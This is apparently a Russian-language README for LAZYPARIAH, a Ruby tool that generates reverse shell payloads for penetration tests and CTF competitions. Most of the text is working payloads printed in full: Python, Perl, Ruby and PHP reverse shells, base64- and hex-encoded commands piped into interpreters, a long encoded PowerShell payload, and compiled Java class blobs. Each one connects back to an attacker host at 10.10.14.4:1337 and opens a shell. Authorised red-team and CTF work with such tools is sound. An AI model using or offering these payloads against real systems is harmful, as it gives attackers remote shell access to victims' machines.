
Инструмент для генерации полезных нагрузок reverse shell на лету.
Инструмент командной строки с низкими зависимостями для генерации реверс-шелл пейлоадов на лету.
LAZYPARIAH — это простой и легко устанавливаемый инструмент командной строки, написанный на чистом Ruby, который можно использовать во время тестов на проникновение и соревнований Capture-the-Flag (CTF) для генерации различных реверс-шелл пейлоадов на лету.
Поддерживаемые реверс-шелл пейлоады LAZYPARIAH включают (но не ограничиваются ими):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem(): php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsЭтот инструмент предназначен для использования только в разрешённых обстоятельствах квалифицированными специалистами по тестированию на проникновение, исследователями безопасности и профессионалами красных команд. Перед загрузкой, установкой или использованием этого инструмента убедитесь, что вы понимаете соответствующие законы вашей юрисдикции. Автор этого инструмента не одобряет, не поощряет и не поддерживает его использование в незаконных или несанкционированных целях.
java_class.)c_binary.)rust_binary.)LAZYPARIAH можно установить на большинстве систем GNU/Linux и BSD с помощью установщика RubyGems следующим образом:
gem install lazypariah
Использование: lazypariah [ОПЦИИ] <ТИП ПЕЙЛОАДА> <ХОСТ АТАКУЮЩЕГО> <ПОРТ АТАКУЮЩЕГО>
Примечание: <ХОСТ АТАКУЮЩЕГО> может быть IPv4-адресом, IPv6-адресом или именем хоста.
Пример: lazypariah -u python_b64 10.10.14.4 1555
Пример: lazypariah python_c malicious.local 1337
Допустимые пейлоады:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Допустимые опции:
-h, --help Показать справку и выйти.
-l, --license Показать информацию о лицензии и выйти.
-u, --url URL-кодировать пейлоад.
-v, --version Показать информацию о версии и выйти.
-D, --fd INTEGER Указать файловый дескриптор, используемый целью для TCP. Требуется для некоторых пейлоадов.
-P, --pv INTEGER Указать версию Python для пейлоада. Должно быть 2 или 3. По умолчанию версия не указана.
-N, --no-new-line Не добавлять символ новой строки в конец пейлоада.
--b64 Закодировать пейлоад c_binary, rust_binary или java_class в base-64.
--hex Закодировать пейлоад c_binary, rust_binary или java_class в шестнадцатеричном формате.
--gzip Сжать пейлоад c_binary, rust_binary или java_class с помощью zlib.
--gzip_b64 Сжать пейлоад c_binary, rust_binary или java_class с помощью zlib и закодировать результат в base-64.
--gzip_hex Сжать пейлоад c_binary, rust_binary или java_class с помощью zlib и закодировать результат в шестнадцатеричном формате.
Перечисленные выше пейлоады в целом названы систематически.
Пейлоады, оканчивающиеся на _c, предназначены для выполнения изнутри сеанса оболочки. Эти пейлоады выполняют код напрямую с помощью соответствующего интерпретатора (например, python3 -c или ruby -e).
Например, команда lazypariah python_c 10.10.14.4 1337 должна выдать следующий вывод:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Команда lazypariah python 10.10.14.4 1337, с другой стороны, должна просто выдать блок кода Python, который потенциально можно поместить в файл .py:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Вообще говоря, выбор пейлоадов, оканчивающихся на _b64, должен выдавать команду, предназначенную для выполнения из сеанса оболочки, аналогично пейлоадам, оканчивающимся на _c, но команды будут отличаться по структуре. Эти команды будут, по сути, передавать блок кода, закодированный в base64, через base64 -d, а затем соответствующему интерпретатору (такому как python3, python2 или ruby).
Например, команда lazypariah python_b64 10.10.14.4 1337 должна выдать следующий вывод:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
Исключением является powershell_b64, который использует встроенный декодер base64 Powershell. Например, команда lazypariah powershell_b64 10.10.14.4 1337 должна вернуть следующее:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(Примечание: Длина приведённого выше пейлоада обусловлена тем, что Powershell использует кодировку UTF-16LE, где один символ соответствует двум байтам.)
Такие типы пейлоадов могут быть полезны в определённых ситуациях, поскольку они не содержат одинарных или двойных кавычек.
Аналогичным образом, выбор пейлоадов, оканчивающихся на _hex, выдаст команду, которая передаёт блок кода, закодированный в шестнадцатеричном формате, через xxd -p -r -, а затем соответствующему интерпретатору. Например, lazypariah perl_hex 10.10.14.4 1337 должен выдать следующий вывод:
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl
Скомпилированные пейлоады (c_binary, java_class и rust_binary) имеют необязательные аргументы командной строки для сжатия zlib (--gzip), кодирования в base64 (--b64) и шестнадцатеричного кодирования (--hex).
Например, команда lazypariah --b64 java_class 10.10.14.4 1337 должна выдать следующий вывод:
yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwdAQQcAQgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwBDBwBEBwBFAQAKRXhjZXB0aW9ucwEA ClNvdXJjZUZpbGUBAAdycy5qYXZhDAAeAB8BABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQEHL2Jpbi9zaAwAHgBGDABHAEgMAEkASgEAD2phdmEvbmV0L1NvY2tldAEACjEwLjEwLjE0LjQMAB4ASwwATABNDABOAE0MAE8AUAwAUQBSDABTAFQMAFUAVAwAVgBXDABYAB8HAFkMAFoAWwwAXABUAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAXQAfDABeAB8BAAJycwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABRqYXZhL2lvL091dHB1dFN0cmVhbQEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBABNyZWRpcmVjdEVycm9yU3RyZWFtAQAdKFIpTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAFihMamF2YS9sYW5nL1N0cmluZztJKVYBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAOZ2V0RXJyb3JTdHJlYW0BAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBAAhpc0Nsb3NlZAEAAygpWgEACWF2YWlsYWJsZQEAAygpSQEABHJlYWQBAAV3cml0ZQEABChJKVYBAAVmbHVzaAEAEGphdmEvbGFuZy9UaHJlYWQBAAVzbGVlcAEABChKKVYBAAlleGl0VmFsdWUBAAhkZXN0cm95AQAFY2xvc2UAIQAcAB0AAAAAAAEAAQAeAB8AAgAgAAABAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAFGenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo
Также можно выполнить сжатие zlib для одного из вышеупомянутых скомпилированных пейлоадов перед его кодированием в base64 или шестнадцатеричном формате, используя аргументы командной строки --gzip_b64 и --gzip_hex соответственно. Например, команда lazypariah --gzip_hex java_class 10.10.14.4 1337 должна выдать следующий вывод:
1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a31319a4392d2b6f2d6d46d22e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000
Некоторые пейлоады требуют, чтобы пользователь указал файловый дескриптор, используемый целью для TCP-соединений. Одним из примеров такого пейлоада является php_fd_tags, который представляет собой простой PHP-пейлоад, заключённый в PHP-теги (<?php и ?>) и нацеленный на определённый файловый дескриптор.
Чтобы указать целевой файловый дескриптор, пользователь должен использовать аргумент командной строки -D INTEGER или --fd INTEGER. Например, для генерации пейлоада php_fd_tags, нацеленного на файловый дескриптор 5, можно использовать следующую команду:
lazypariah -D 5 php_fd_tags 10.10.14.4 1337
Результирующий пейлоад должен быть следующим:
<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&5 >&5 2>&5");?>
Ниже приведены некоторые примеры команд и их соответствующие выходные данные.
Вывод команды lazypariah -P 3 -u python_b64 10.10.14.4 1337:
echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3
Вывод команды lazypariah -P 2 python_c 10.10.14.4 1337:
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Вывод команды lazypariah -D 3 php_fd_tags 10.10.14.4 1337:
<?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>
Вывод команды lazypariah ruby 10.10.14.4 1337:
require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
Copyright (C) 2020–2022 Peter Bruce Funnell
Эта программа является свободным программным обеспечением: вы можете распространять её и/или изменять в соответствии с условиями Стандартной общественной лицензии GNU, опубликованной Фондом свободного программного обеспечения, либо версии 3 Лицензии, либо (по вашему выбору) любой более поздней версии.
Эта программа распространяется в надежде, что она будет полезна, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемых гарантий ТОВАРНОЙ ПРИГОДНОСТИ или ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЁННОЙ ЦЕЛИ. См. Стандартную общественную лицензию GNU для получения более подробной информации.
Вы должны были получить копию Стандартной общественной лицензии GNU вместе с этой программой. Если этого не произошло, см. https://www.gnu.org/licenses/.